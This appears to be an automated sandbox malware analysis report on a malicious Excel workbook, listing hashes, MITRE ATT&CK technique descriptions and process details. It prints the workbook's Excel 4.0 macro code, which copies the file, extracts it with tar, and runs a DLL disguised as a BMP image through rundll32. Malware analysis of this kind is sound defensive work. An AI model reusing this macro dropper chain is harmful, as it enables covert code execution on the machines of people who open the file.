Preview:	.UKO.0......\|E..Hh.j..v..H..0.41......{.NAlT.F..\..=f&..].lW<AD.]%N.(..^..T.....(.....*.....o..u.,...-Q.!%.-X....xg.U...A.K.<.N.e.....%.1.].B=vT.\.r....Q\..T%.M....#.. T....qh...._,L......"(.-.....x.D...@.!@3..m..>#t8..0......`k..s.?p.v...{.....=.....[Y.\u.......s....i-.2...'..0.\|;9..._&.....8.O>..l....I2.. .;..G..RnU.}C.....x....9Y.....!.............!........&.H...f...q..`x@.\...m.'.........PK..........!..Y......j.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.891709774410967
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	f9309eba_by_Libranalysis.xlsx
File size:	607568
MD5:	f9309ebadd3f4d1e665dfe567dbf9a25
SHA1:	7cd5c8f8038217c20e09fd455fb5708185b151f9
SHA256:	7d2fd957a301aeea8014fd95a0902a6c45a568d34f4a1ce9d7a9fd38b53b542c
SHA512:	b0a6e900343c7f63cf41d97d75ad9b0db4c63e937cbeec825bb5b6ae168cc34b907abc180ebbcc04104d575497232f79bff3a498bf9468c748f4d21d5670eec3
SSDEEP:	12288:jpex0VbLbGeH+59SjNGst3hglv595+6tLAJVX0cfxBNtsY69bWed0t:jUKVbLte52dt3i/+mAJ2gsY6oe2
File Content Preview:	PK..........!.........3.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "f9309eba_by_Libranalysis.xlsx"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

,,,"=SAVE.COPY.AS(""..\Nioka.meposv"")",run,,,,,,,dll32 ..\xl\media\im,,,,,,"=EXEC(""tar -xf ..\Nioka.meposv -C ..\"")=PI()=PI()=PI()","age2.bmp,StartW",,,,,,,,,,,,,,,,,,,,"=WAIT(NOW()+""00:00:06"")",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=PI()=PI()=PI()=EXEC(AL701&AL702&AL703)=PI()=PI()=PI(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=HALT(),,,,

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: EXCEL.EXE PID: 1776 Parent PID: 584

General

Start time:	18:02:42
Start date:	12/05/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f930000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report f9309eba_by_Libranalysis

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

Signature Overview

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "f9309eba_by_Libranalysis.xlsx"

Indicators

Macro 4.0 Code

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: EXCEL.EXE PID: 1776 Parent PID: 584

General

Chronological Activities

Disassembly